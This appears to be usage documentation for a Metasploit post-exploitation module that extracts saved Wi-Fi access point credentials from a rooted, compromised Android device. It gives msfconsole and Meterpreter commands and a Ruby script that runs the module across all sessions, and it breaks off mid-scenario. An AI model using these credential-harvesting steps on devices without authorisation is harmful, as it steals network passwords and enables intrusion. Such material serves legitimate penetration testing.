  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/android/gather/wireless_ap

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/android/gather/wireless_ap
msf post(wireless_ap) > show options
    ... show and set options ...
msf post(wireless_ap) > set SESSION session-id
msf post(wireless_ap) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/android/gather/wireless_ap")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This post-exploitation module will extract all saved Wireless access point credentials from the target android device.

Verification Steps

  1. Start msfconsole
  2. Get a root meterpreter session (use exploit/android/local/...)
  3. use post/android/gather/wireless_ap
  4. set SESSION <session id>
  5. run
  6. You should be able to see the extracted credentials.

Options

SESSION - The session to run the module on.

Extracted data

Wireless AP credentials (SSID, network type and password)

Scenarios

msf5 exploit(multi/handler) > use post/android/gather/wireless_ap
msf5 post(android/gather/wireless_ap) > set session 1
